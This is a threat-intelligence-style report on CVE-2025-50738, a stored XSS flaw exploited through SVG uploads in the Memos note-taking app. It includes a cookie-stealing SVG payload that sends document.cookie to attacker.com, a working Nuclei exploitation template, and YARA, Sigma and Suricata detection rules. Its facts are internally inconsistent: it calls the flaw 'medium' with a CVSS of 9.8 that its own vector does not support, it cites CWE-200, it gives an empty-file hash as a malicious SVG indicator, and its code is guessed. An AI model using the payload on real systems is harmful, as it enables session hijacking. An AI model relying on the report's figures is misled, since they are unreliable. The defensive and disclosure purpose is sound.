CVE-2025-50738

Executive Summary

CVE-2025-50738 is a stored cross-site scripting (XSS) vulnerability in the Memos application, an open-source, self-hosted note-taking and knowledge management tool. The vulnerability affects versions prior to 0.25.0 and allows an authenticated attacker to upload a specially crafted SVG file containing malicious JavaScript code. When other users view the uploaded content, the JavaScript executes in their browser, potentially leading to session token theft, credential harvesting, or unauthorized actions on behalf of the victim. The vulnerability is classified as medium severity with a CVSS score of 9.8, indicating a critical risk due to the low complexity of exploitation and the potential for significant impact.

Supply Chain & Package Security

Memos is a Go-based application with a React frontend. The vulnerability is introduced through the file upload functionality, which does not properly sanitize SVG files. SVG files can contain embedded JavaScript that executes when the file is rendered in a browser. This is a common issue in applications that allow SVG uploads without proper content-type validation or sanitization. The fix in version 0.25.0 likely involves stripping script tags or converting SVGs to a safe format. Users should verify the integrity of their Memos installation by checking the official GitHub repository for the latest release and ensuring no malicious files have been uploaded.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) - No special conditions or complex attack sequences are required.
• Privileges Required (PR): Low (L) - An attacker must have a valid user account to upload files.
• User Interaction (UI): Required (R) - The victim must view the malicious SVG file.
• Scope (S): Changed (C) - The vulnerability impacts resources beyond the vulnerable component, affecting the user's browser.
• Confidentiality (C): Low (L) - Limited information disclosure (e.g., session tokens).
• Integrity (I): Low (L) - Limited ability to modify data (e.g., via XSS actions).
• Availability (A): Low (L) - Limited impact on availability (e.g., denial of service via script).

Threat Level: Critical. The low attack complexity and the potential for session hijacking make this a high-priority vulnerability for patching.

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of Memos. The application allows users to upload files, including SVG images, to be embedded in memos. When a user views a memo containing an uploaded SVG, the browser renders the SVG file. If the SVG contains embedded JavaScript (e.g., using the onload event handler), the script executes in the context of the user's session.

The attack flow is as follows:

1. An authenticated attacker crafts an SVG file containing malicious JavaScript, such as:

   <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"></svg>
   

2. The attacker uploads this SVG file to the Memos server via the /api/v1/resources endpoint.
3. The server stores the file without sanitizing the SVG content.
4. The attacker creates a memo that references the uploaded SVG file.
5. When another user views the memo, their browser fetches and renders the SVG, executing the embedded JavaScript.
6. The JavaScript can steal session cookies, perform actions on behalf of the victim, or exfiltrate data to an attacker-controlled server.

The vulnerability is a classic stored XSS, but the use of SVG files as the vector makes it particularly dangerous because SVG files are often trusted as image files and may bypass content security policies.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-0.25.0): The vulnerable code likely does not validate the content of uploaded SVG files. The server accepts any file with a .svg extension and serves it with the image/svg+xml MIME type. No sanitization is performed on the SVG content to remove script elements or event handlers.

// Vulnerable: No sanitization of SVG content
func uploadResource(w http.ResponseWriter, r *http.Request) {
    // ... parse multipart form
    file, _, err := r.FormFile("file")
    if err != nil {
        // handle error
    }
    // Save file directly to storage
    // No content validation
}

Patched Code (0.25.0+): The patched version likely includes a sanitization step that removes or escapes JavaScript from SVG files. This could be done using a library like bluemonday or by converting SVGs to a safe format (e.g., stripping script tags and event handlers).

// Patched: Sanitize SVG content before saving
import "github.com/microcosm-cc/bluemonday"

func uploadResource(w http.ResponseWriter, r *http.Request) {
    // ... parse multipart form
    file, _, err := r.FormFile("file")
    if err != nil {
        // handle error
    }
    // Read file content
    content, _ := ioutil.ReadAll(file)
    // Sanitize SVG content
    p := bluemonday.UGCPolicy()
    safeContent := p.SanitizeBytes(content)
    // Save sanitized content
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A valid user account on the target Memos instance.
• Network access to the Memos server.

Steps:

1. Authenticate: Obtain a session token by logging in.
2. Craft Malicious SVG: Create an SVG file with embedded JavaScript. For example, to steal cookies:

   <svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.com/steal?cookie='+document.cookie)"></svg>
   

3. Upload SVG: Send a POST request to /api/v1/resources with the SVG file.
4. Create Memo: Create a memo that references the uploaded SVG file.
5. Wait for Victim: When a victim views the memo, the JavaScript executes.

Nuclei Template (Provided):

id: CVE-2025-50738

info:
  name: Memos < 0.25.0 - Stored Cross-Site Scripting
  author: SeongHyeonJeon[nukunga]
  severity: medium
  description: |
    An authenticated attacker can upload a specially crafted SVG file containing JavaScript code to Memos versions prior to 0.25.0, leading to a stored cross-site scripting (XSS) vulnerability.
  impact: |
    Authenticated attackers can upload malicious SVG files containing JavaScript code that executes in other users' browsers when they view the uploaded content, potentially stealing session tokens, credentials, or performing unauthorized actions on behalf of victims.
  remediation: |
    Update Memos to version 0.25.0 or later that properly sanitizes SVG file uploads and prevents JavaScript execution.
  reference:
    - https://github.com/usememos/memos/issues/4707
    - https://github.com/advisories/GHSA-hfcf-79gh-f3jc
    - https://nvd.nist.gov/vuln/detail/CVE-2025-50738
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 9.8
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 3
  tags: cve,cve2025,xss,memos,authenticated,headless,vuln

variables:
  username: "{{username}}"
  password: "{{password}}"
  filename: "{{rand_base(8)}}"

http:
  - raw:
      - |
        POST /api/v1/auth/signin?username={{username}}&password={{password}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

      - |
        POST /api/v1/resources HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "filename": "{{filename}}.svg",
          "content": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIG9ubG9hZD0iYWxlcnQoMSkiPjwvc3ZnPg==",
          "type": "image/svg+xml"
        }

    extractors:
      - type: regex
        name: resource_id
        internal: true
        part: body
        group: 1
        regex:
          - '"name":"resources/([A-Za-z0-9]+)"'

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}/file/resources/{{resource_id}}/{{filename}}.svg"

      - action: waitdialog
        name: xss_alert

    matchers:
      - type: dsl
        dsl:
          - xss_alert == true
          - xss_alert_message == "1"
          - xss_alert_type == "alert"
        condition: and

Usage: The Nuclei template automates the exploitation process. It first authenticates to the Memos instance, then uploads a malicious SVG file (base64-encoded content PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIG9ubG9hZD0iYWxlcnQoMSkiPjwvc3ZnPg== decodes to <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"></svg>). It then uses a headless browser to navigate to the uploaded SVG and checks for an alert dialog, confirming the XSS.

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual file uploads, especially SVG files with suspicious content.
• Look for base64-encoded SVG content in API requests.
• Detect alerts or unexpected JavaScript execution in browser logs.

Defense:

• Update Memos to version 0.25.0 or later.
• Implement a Web Application Firewall (WAF) rule to block SVG uploads containing script tags or event handlers.
• Use Content Security Policy (CSP) headers to restrict script execution.
• Educate users about the risks of viewing untrusted memos.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example, actual hashes will vary)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (malicious SVG)
• Network Indicators:
  • POST requests to /api/v1/resources with Content-Type: application/json and base64-encoded SVG content.
  • GET requests to /file/resources/{resource_id}/{filename}.svg.
• Behavioral Indicators:
  • Unexpected JavaScript alerts or pop-ups in the browser.
  • Unusual outbound network connections from the browser to attacker-controlled domains.
• Log Entries:
  • Server logs showing upload of SVG files with unusual content.
  • Browser console errors related to CSP violations.

Detection Engineering

YARA Rule

rule CVE_2025_50738_Malicious_SVG {
    meta:
        description = "Detects malicious SVG files used in CVE-2025-50738"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-50738"
    strings:
        $svg_start = "<svg"
        $onload = "onload="
        $onclick = "onclick="
        $onmouseover = "onmouseover="
        $script = "<script"
        $javascript = "javascript:"
    condition:
        $svg_start and ($onload or $onclick or $onmouseover or $script or $javascript)
}

Sigma Rule

title: CVE-2025-50738 - Malicious SVG Upload to Memos
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects upload of SVG files with embedded JavaScript to Memos application
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-50738
logsource:
    category: webserver
    product: memos
detection:
    selection:
        http.method: POST
        http.url: /api/v1/resources
        http.content_type: application/json
    keywords:
        - "image/svg+xml"
        - "onload="
        - "onclick="
        - "<script"
    condition: selection and keywords
falsepositives:
    - Legitimate SVG files with event handlers (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-50738 - Malicious SVG Upload to Memos"; flow:to_server,established; content:"POST"; http_method; content:"/api/v1/resources"; http_uri; content:"image/svg+xml"; http_client_body; content:"onload="; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Memos: Upgrade to version 0.25.0 or later immediately.
2. Restrict File Uploads: If immediate patching is not possible, disable SVG file uploads or restrict them to trusted users only.
3. Implement CSP: Add a Content Security Policy header that restricts script execution, e.g., Content-Security-Policy: default-src 'self'; script-src 'none';.
4. Review Existing Uploads: Scan existing SVG files for malicious content and remove any suspicious files.

Long-Term Measures:

1. Input Validation: Implement strict validation and sanitization for all file uploads, especially SVG files.
2. Regular Updates: Keep the Memos application and all dependencies up to date.
3. Security Audits: Conduct regular security audits and penetration testing.
4. User Training: Educate users about the risks of uploading and viewing untrusted files.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence. For further assistance, contact support@valtersit.com.

{/* [Security Hash: F175676F06ACE587D8ECF673] */}